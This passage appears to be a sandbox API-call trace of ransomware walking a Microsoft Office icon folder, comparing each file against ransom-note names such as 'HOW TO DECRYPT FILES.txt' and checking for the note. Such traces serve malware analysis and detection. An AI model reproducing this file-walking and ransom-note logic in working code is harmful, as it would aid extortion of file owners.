(in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.732] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ModifiedTelespace.ico") returned -1 [0065.732] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ModifiedTelespace.ico") returned -1 [0065.732] lstrcmpiA (lpString1="", lpString2="ModifiedTelespace.ico") returned -1 [0065.732] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned="messageboxinfo.ico" [0065.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.732] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.732] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.733] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.733] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="ModifiedTelespace.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" [0065.733] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico", pszSpec="*.ems") returned 0 [0065.733] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x596e79b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFLINE.ICO", cAlternateFileName="")) returned 1 [0065.733] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.733] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OFFLINE.ICO") returned -1 [0065.733] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OFFLINE.ICO") returned -1 [0065.733] lstrcmpiA (lpString1="", lpString2="OFFLINE.ICO") returned -1 [0065.733] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned="ModifiedTelespace.ico" [0065.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.733] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.733] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.733] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.733] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="OFFLINE.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" [0065.733] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO", pszSpec="*.ems") returned 0 [0065.733] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLINE.ICO", cAlternateFileName="")) returned 1 [0065.734] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.734] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ONLINE.ICO") returned -1 [0065.734] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ONLINE.ICO") returned -1 [0065.734] lstrcmpiA (lpString1="", lpString2="ONLINE.ICO") returned -1 [0065.734] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned="OFFLINE.ICO" [0065.734] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.734] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.734] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.734] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.734] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="ONLINE.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" [0065.734] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO", pszSpec="*.ems") returned 0 [0065.734] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineBusy.ico", cAlternateFileName="ONLINE~2.ICO")) returned 1 [0065.734] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.734] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OnLineBusy.ico") returned -1 [0065.734] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OnLineBusy.ico") returned -1 [0065.734] lstrcmpiA (lpString1="", lpString2="OnLineBusy.ico") returned -1 [0065.734] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned="ONLINE.ICO" [0065.734] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.734] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.734] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.735] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.735] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="OnLineBusy.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" [0065.735] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico", pszSpec="*.ems") returned 0 [0065.735] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineIdle.ico", cAlternateFileName="ONLINE~1.ICO")) returned 1 [0065.735] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.735] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OnLineIdle.ico") returned -1 [0065.735] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OnLineIdle.ico") returned -1 [0065.735] lstrcmpiA (lpString1="", lpString2="OnLineIdle.ico") returned -1 [0065.735] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned="OnLineBusy.ico" [0065.735] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.735] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.735] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.736] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.736] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="OnLineIdle.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" [0065.736] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico", pszSpec="*.ems") returned 0 [0065.736] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutDomain.ico", cAlternateFileName="OUTDOM~1.ICO")) returned 1 [0065.736] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.736] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OutDomain.ico") returned -1 [0065.736] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OutDomain.ico") returned -1 [0065.736] lstrcmpiA (lpString1="", lpString2="OutDomain.ico") returned -1 [0065.736] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned="OnLineIdle.ico" [0065.736] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.736] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.737] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.737] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.737] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="OutDomain.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" [0065.737] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico", pszSpec="*.ems") returned 0 [0065.737] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTGOING.ICO", cAlternateFileName="")) returned 1 [0065.737] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.737] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OUTGOING.ICO") returned -1 [0065.737] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OUTGOING.ICO") returned -1 [0065.737] lstrcmpiA (lpString1="", lpString2="OUTGOING.ICO") returned -1 [0065.737] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned="OutDomain.ico" [0065.737] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.737] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.737] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.737] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.737] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="OUTGOING.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" [0065.737] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO", pszSpec="*.ems") returned 0 [0065.738] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutSyncPC.ico", cAlternateFileName="OUTSYN~1.ICO")) returned 1 [0065.738] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.738] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OutSyncPC.ico") returned -1 [0065.738] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OutSyncPC.ico") returned -1 [0065.738] lstrcmpiA (lpString1="", lpString2="OutSyncPC.ico") returned -1 [0065.738] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned="OUTGOING.ICO" [0065.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.738] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.738] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.738] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.738] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="OutSyncPC.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" [0065.738] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico", pszSpec="*.ems") returned 0 [0065.738] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cdd7370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalContact.ico", cAlternateFileName="PERSON~1.ICO")) returned 1 [0065.738] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.738] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PersonalContact.ico") returned -1 [0065.738] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PersonalContact.ico") returned -1 [0065.738] lstrcmpiA (lpString1="", lpString2="PersonalContact.ico") returned -1 [0065.738] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned="OutSyncPC.ico" [0065.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.739] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.739] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.739] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.739] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="PersonalContact.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" [0065.739] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico", pszSpec="*.ems") returned 0 [0065.739] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionMember.ico", cAlternateFileName="SESSIO~1.ICO")) returned 1 [0065.739] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.739] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SessionMember.ico") returned -1 [0065.739] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SessionMember.ico") returned -1 [0065.739] lstrcmpiA (lpString1="", lpString2="SessionMember.ico") returned -1 [0065.739] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned="PersonalContact.ico" [0065.739] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.739] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.739] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.739] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.739] lstrcatA (in: 